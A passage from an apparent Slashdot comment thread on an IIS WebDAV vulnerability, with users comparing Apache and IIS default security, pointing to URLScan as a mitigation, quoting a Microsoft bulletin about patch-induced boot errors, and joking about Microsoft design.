    One of the reasons that Apache is perceived as more secure than IIS is that for most people the default settings are not usable, so they HAVE to edit the config file. This forces them to notice that Apache is probably running as 'nobody' and a few other settings that they probably don't want ticked on or off. If the admin is smart, he changes this setting and uses the chroot options. (Damn wouldn't it be nice if chroot was an option in Windows?)

  129. Any box you've already secured is still secure. by skrowl · · Score: 1

    The default configuration of URLScan prevents the vulnerability from being exploited. URLScan is a part of the IIS Lockdown tool. For more information about URLScan, visit the following Microsoft Web site: http://www.microsoft.com/technet/security/URLScan. asp

    --

    Prevent linux based DDOS's!
    http://linux.denialofservice.org/
  130. Aforethought by leonbrooks · · Score: 1

    What's 'Aforethought'?

    Planning ahead, same as prepense. Which admittedly doesn't characterise Microsoft products very well. (-:

    --
    Got time? Spend some of it coding or testing
  131. bugged bug by bonizzem · · Score: 0

    This is from "Microsoft Security Bulletin MS03-007" Frequently asked questions:

    Why has Microsoft changed the information in the Caveats section of this bulletin?

    Microsoft was made aware that some customers who had received a hotfix from Product Support Services experienced stop errors on boot after applying the patch released for this bulletin.
    We've assessed this issue and now know that it only occurs under a specific set of circumstances. A series of Windows 2000 hotfixes that were only available through Product Support Services and were issued between December 2001 and February 2002 were incompatible with the patch for this vulnerability. Customers who are running one of those 12 hotfixes on Windows 2000 Service Pack 2 will experience a stop error on reboot after applying this patch. More information on how to determine if you have installed a hotfix that is incompatible with this patch is available in the Addition Information section under Caveats.
    Customers who are running Windows 2000 Service Pack 3 or are not running one of these hotfixes will not encounter this problem.


    to patch or not to patch....

  132. Re:Bullshit by johnnyb · · Score: 1

    The problem is, although you _can_ do this, it's not a supported setting, and will cause a lot of things to break (namely the things people rely on IIS for in the first place).

  133. The Wizard Fallacy by fm6 · · Score: 1

    Like all of Microsoft's more baroque products, WebDAV is an attempt to make life easier for the technically clueless. Its design reflects what I call the Wizard Fallacy: the assumption that you can make a complicated process easy by glossing it over with some hand-holding software. This never works well, but requires less imagination than inventing a new procedure that's easy to understand and use.

  134. Last Post! by alpg · · Score: 0

    The society which scorns excellence in plumbing as a humble activity and
    tolerates shoddiness in philosophy because it is an exalted activity will
    have neither good plumbing nor good philosophy... neither its pipes nor
    its theories will hold water.

    - this post brought to you by the Automated Last Post Generator...